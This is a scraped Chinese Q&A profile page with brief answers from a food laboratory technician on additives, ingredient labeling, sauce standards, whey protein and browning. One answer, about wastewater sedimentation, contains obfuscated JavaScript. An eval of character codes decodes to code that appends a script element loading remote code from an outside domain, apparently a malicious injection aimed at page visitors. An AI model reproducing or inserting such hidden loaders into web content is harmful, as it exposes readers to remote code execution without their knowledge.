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,食品化验员 2019-04-17回答
是直接做好的杯装奶茶~~~可以在连锁店卖的~~
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,食品化验员 2019-04-16回答
用点我的帕拉金糖也可以,但产品不能太苦了,嘻嘻
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,食品化验员 2019-04-16回答
你如果实际使用的是杏仁,而在配料表中标注成其他名称,那才是违规呢
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,食品化验员 2019-04-16回答
从形成机理上说,应该属于复配食品添加剂,但现在没有法规明确定义。
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,食品化验员 2019-04-16回答
这个名字没看出来是食品名称啊
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,食品化验员 2019-04-16回答
金属探测器,这款的价格不低吧
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,食品化验员 2019-04-16回答
乳白蛋白是乳清蛋白的一种,也就意味着只要是牛奶蛋白都含有这个成份。据我所知,目前还没α-乳白蛋白的纯品,所以最多也就是α-乳白蛋白含量较高的乳清蛋白粉,所以它的添加不需要额外的法规支持。所以乳清蛋白添加即可。
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,食品化验员 2019-04-16回答
您问的是家庭作坊的还是工业生产的?还有您要求的保水时间的长短问题?
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,食品化验员 2019-04-16回答
能把你的工艺介绍一下吗?除了用黄原胶外还用别的胶体了吗?
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,食品化验员 2019-04-15回答
辅酶是不是属于醌类物质?大多属于药类原料的成分。
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,食品化验员 2019-04-15回答
楼上的说得对,看你什么原料什么工艺,一般面粉经蒸料制曲发酵的叫甜面酱,执行SB/T 10296;如果是果蔬经破碎灭菌之类的根据原料来分如辣椒酱,番茄酱等。另有一些是两种或以上的原料混合而成,这种要看哪种原料是主原料,一般复合酱都是企业自己备案执行企标的。
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,食品化验员 2019-04-15回答
26个什么细则??
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,食品化验员 2019-04-15回答
去卫生局办理!!!!
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,食品化验员 2019-04-15回答
在现行实行的推荐性标准中肯定涉及到卫生安全指标如重金属、农药残留、微生物、食品添加剂,标签标识的规定等一系列法律法规的要求,这些就是法定条款。食品安全法实施后或国家安全标准未出台前,这种交叉现象还有一段过渡期。
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,食品化验员 2019-04-15回答
废水沉淀降低污水处理费用filesize (undefined Bytes)$('ed2k_WSk').innerHTML=htmlspecialchars(unescape(decodeURIComponent('filesize')))+' ('+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+' Bytes)';
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,食品化验员 2019-04-15回答
可以加吧。。。
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,食品化验员 2019-04-15回答
当然可以了。
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,食品化验员 2019-04-15回答
不是,要当地的标准@土豆烧牛肉??
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,食品化验员 2019-04-15回答
1、一人称量,一人确认2、几种一个混合包,复核混合包重量3.。。。
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,食品化验员 2019-04-15回答
主要是酶褐变引起的
 
简介 更多
职业:莆田市林锦食品有限公司 - 食品化验员
学校:宁波大学 - 食品工艺教育
地区:NULL
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2018-07-04加入
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